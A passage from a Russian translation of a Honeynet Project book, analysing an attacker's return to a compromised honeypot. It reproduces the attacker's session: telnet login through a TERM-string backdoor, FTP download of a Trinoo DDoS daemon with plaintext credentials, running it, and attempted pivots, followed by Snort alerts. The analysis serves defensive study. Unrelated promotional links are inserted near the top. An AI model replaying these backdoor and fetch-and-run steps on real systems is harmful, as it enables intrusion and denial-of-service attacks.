Предисловие
Благодарности
Введение
Поле битвы

ПРОЕКТ HONEYNET
СИСТЕМА HONEYPOT
СЕТЬ HONEYNET
Назначение Honeynet
Система Honeypot в сети Honeynet
РЕЗЮМЕ

Как работает Honeynet
КОНТРОЛЬ ДАННЫХ
ЗАПИСЬ ДАННЫХ
Уровень контроля доступа
Сетевой уровень
Системный уровень
Автономный уровень
СОЦИОТЕХНИКА
Риск
РЕЗЮМЕ

Создание сети Honeynet
ОБЩАЯ АРХИТЕКТУРА
КОНТРОЛЬ ДАННЫХ
ЗАПИСЬ ДАННЫХ
ПОДДЕРЖАНИЕ HONEYNET И РЕАГИРОВАНИЕ НА АТАКИ
РЕЗЮМЕ

АНАЛИЗ
Анализ данных
РЕГИСТРАЦИОННЫЕ ЖУРНАЛЫ БРАНДМАУЭРА
АНАЛИЗ IDS
СИСТЕМНЫЕ ЖУРНАЛЫ
РЕЗЮМЕ

Анализ взломанной системы
НАПАДЕНИЕ
АНАЛИЗ
Взлом
ПОЛУЧЕНИЕ ДОСТУПА
ВОЗВРАЩЕНИЕ
РЕЗУЛЬТАТЫ АНАЛИЗА
РЕЗЮМЕ

Продвинутый анализ данных
ПАССИВНАЯ ДАКТИЛОСКОПИЯ
Сигнатуры
Пример ICMP
СИСТЕМНОЕ ВСКРЫТИЕ
РЕЗЮМЕ

Практика системного вскрытия
ОБРАЗЫ
ИНСТРУМЕНТЫ THE CORONER'S TOOLKIT
ВРЕМЯ MAC
УДАЛЕННЫЕ СТРУКТУРЫ INODE
ВОССТАНОВЛЕНИЕ ДАННЫХ
РЕЗЮМЕ

УГРОЗА
ТАКТИКА
ИНСТРУМЕНТЫ
Мотивы
МЕНЯЮЩИЕСЯ ТЕНДЕНЦИИ
РЕЗЮМЕ

Червяки на войне
УСТАНОВКА
ПЕРВЫЙ ЧЕРВЯК
ВТОРОЙ ЧЕРВЯК
НА СЛЕДУЮЩИЙ ДЕНЬ
РЕЗЮМЕ

Своими собственными словами
Взлом

Наша ссылка ;)



http://www.evroestel.ru/
http://www.100media.ru/


ВОЗВРАЩЕНИЕ

После того как honeypot была взломана, мы отключили ее от сети, чтобы просмотреть все данные. Однако в течение следующей недели многие системы пытались установить с машиной соединение TELNET. Очевидно, взломщик хотел вернуться, скорее всего, для того, чтобы использовать нашу систему для каких-то иных целей. Поэтому мы снова подключили ее к сети, с любопытством ожидая, вернется ли взломщик. И действительно, через две недели он проявил себя снова. И вновь мы записали все команды при помощи Snort. Нам также удалось определить мотивы взломщика и узнать о том, что нашу систему должны были использовать в качестве клиента для проведения расширенного «отказа от обслуживания», Trinoo. Этот взломщик хотел иметь в своем распоряжении как можно больше систем, чтобы начать невероятно разрушительную серию нападений «отказ от обслуживания».

9 мая в 10:45 утра наш друг установил с нами соединение TELNET из системы 24.7.85.192, воспользовавшись для проникновения в систему черным ходом VT9111 и миновав систему аутентификации:

!"' #'!"# ' 9600,9600"VT9111 VT9111
Red Hat Linux release 6.0 (Shedwig)
Kernel 2.2.5-15 on an i586
[root@apollo /]# Is
bin cdrom etc home lost+found proc sbin usr
boot dev floppy lib mnt root tmp var
Затем он попытался воспользоваться DNS. Однако на этой машине DNS до сих пор была сломана. Помните ее взломали, чтобы получить доступ администратора, так что система больше не могла разрешать имена доменов. [root®apollo /]# nslookup magix
[root@apollo /]# nslookup irc.powersurf.com Server: zeus-internal.honeynet.edu Address: 172.16.1.101
Взломщик устанавливает FTP-соединение с системой в Сингапуре и загружает новый инструментарий. Обратите внимание на то, как ему пришлось воспользоваться IP-адресом и директорией . s, которую он создал для хранения инструментов:

[root@apollo /]# mkdir .s
[root@apollo /]# cd .s
[root@apollo /.s]# ftp nusnet-216-35.dynip. nus.edu. sg
ftp: nusnet-216-35.dynip.nus.edu.sg: Unknown host
ftp> quit
[root@apollo /.s]# ftrp 137.132.216.35
login: ftrp: command not found
[root@apollo /.s]#
[root@apollo /.s]# ftp 137.132.216.35
Connected to 137.132.216.35.
20 nusnet-216-35.dynip.nus.edu.sg FTP server (Version wu-2.4.2-VR17(1) Mon
Apr 19 09:21:53 EDT
1999) ready.

Взломщик получает доступ под тем же именем пользователя, которое было задано в нашей машине:

Name (137.132.216.35:root) : twin
331 Password required for twin.
Password:haxOr
230 User twin logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> get d.tar.gz
local: d.tar.gz remote: d.tar.gz
200 PORT command successful.
150 Opening BINARY mode data connection for d.tar.gz (8323 bytes).
150 Opening BINARY mode data connection for d.tar.gz (8323 bytes).
226 Transfer complete.
8323 bytes received in 1.36 sees (6 Kbytes/sec)
ftp> quit
221-You have transferred 8323 bytes in 1 files.
221-Total traffic for this session was 8770 bytes in 1 transfers.
221-Thank you for using the FTP service on nusnet-216-35.dynip.nus.edu.sg.
221 Goodbye.
[root@apollo /.s]# gunzip d*
[root@apollo /.s]# tar -xvf d*
daemon/
daemon/ns.с
daemon/ns
[root@apollo /.s]# rm -rf d.tar
[root@apollo /.s]# cd daemon
[root@apollo daemon]# chmod u+x ns
[root@apollo daemon]# ,/ns
Взломщик только что установил и запустил клиента Trinoo. Затем он пытается перейти в другую взломанную систему. Обратите внимание на то, как он устанавливает переменную окружения TERM. В этой системе, вероятнее всего, также имеется черный ход. Соединение не устанавливается, так как DNS не работает.

[root@apollo daemon]# TERM=vt1711 [root@apollo daemon]# telnet macau.hkg.com
macau.hkg.com: Unknown host [root@apollo daemon]# exit exit
Наш друг уходит, но только для того, чтобы зайти из системы 137.132.216.35 и попытаться причинить как можно больше вреда, устанавливая соединения с другими системами с черными ходами.
! -" #'!"# ' 9600, 9600 'VT9111VT9111
Red Hat Linux release 6.0 (Shedwig) Kernel 2.2.5-15 on an i586 [root@apollo /]# TERM=vt9111 [root@apollo /]# telnet ns2.cpcc.cc.nc.us ns2.cpcc.cc.nc.us: Unknown host [root@apollo /]#telnet 152.43.29.52 Trying 152.43.29.52... Connected to 152.43.29.52. Escape character is '"]'. !!!!!'.Connection closed by foreign host. [root@apollo /]# TERM=vt7877 [root@apollo /]# telnet sparky.w [root@apollo /]# exit exit
Вслед за этим было предпринято несколько попыток использовать систему для нападения Trinoo против других систем. Брандмауэр автоматически обнаружил и заблокировал эти попытки, после чего мы отсоединили систему. Задача взломщика заключалась в том, чтобы использовать взломанную систему в разрушительных целях, и при наблюдении этого соединения мы уже не могли получить ничего большего.
May 9 11:03:20 ids snort[2370]: IDS/197/trinOO-master-to-daemon: 137.132.17.202:2984 -> 172.16.1.107:27444
May 9 11:03:20 ids snort[2370]: IDS187/trin00-daemon-to-master-pong: 172.16.1.107:1025 -> 137.132.17.202:31335
May 9 11:26:04 ids snort[2370]: IDS197/trin00-master-to-daemon: 137.132.17.202:2988 -> 172.16.1.107:27444
May 9 11:26:04 ids snort[2370]: IDS187/trin00-daemon-to-master-pong: 172.16.1.107:1027 -> 137.132.17.202:31335

В базе данных Max Vision arachNIDS приводятся следующие сведения об этих сигнатурах:

• объяснение сигнатуры IDS/197: Trinoo (trinOO) - это инструмент для проведения расширенной атаки «отказ от обслуживания». Сигнатура указывает на соединение сервера «trinOO master» с демоном trinOOO, что, скорее всего, означает взлом сервера. Задача демона заключается в проведении нападения «отказ от обслуживания»; • объяснение сигнатуры IDS/187:

Trinoo (trinOO) - это инструмент для проведения расширенной атаки «отказ от обслуживания». Сигнатура указывает на соединение «trinOO демона» с мастером trinOOO, что, скорее всего, означает взлом сервера. Задача демона заключается в проведении нападения «отказ от обслуживания».

Более подробную информацию о расширенном нападении «отказ от обслуживания» можно найти по адресу: http://staff.Washington.edu/dittrich/misc/ trinoo. analysis.
Copyright (ЦЕ) Addison-Wesley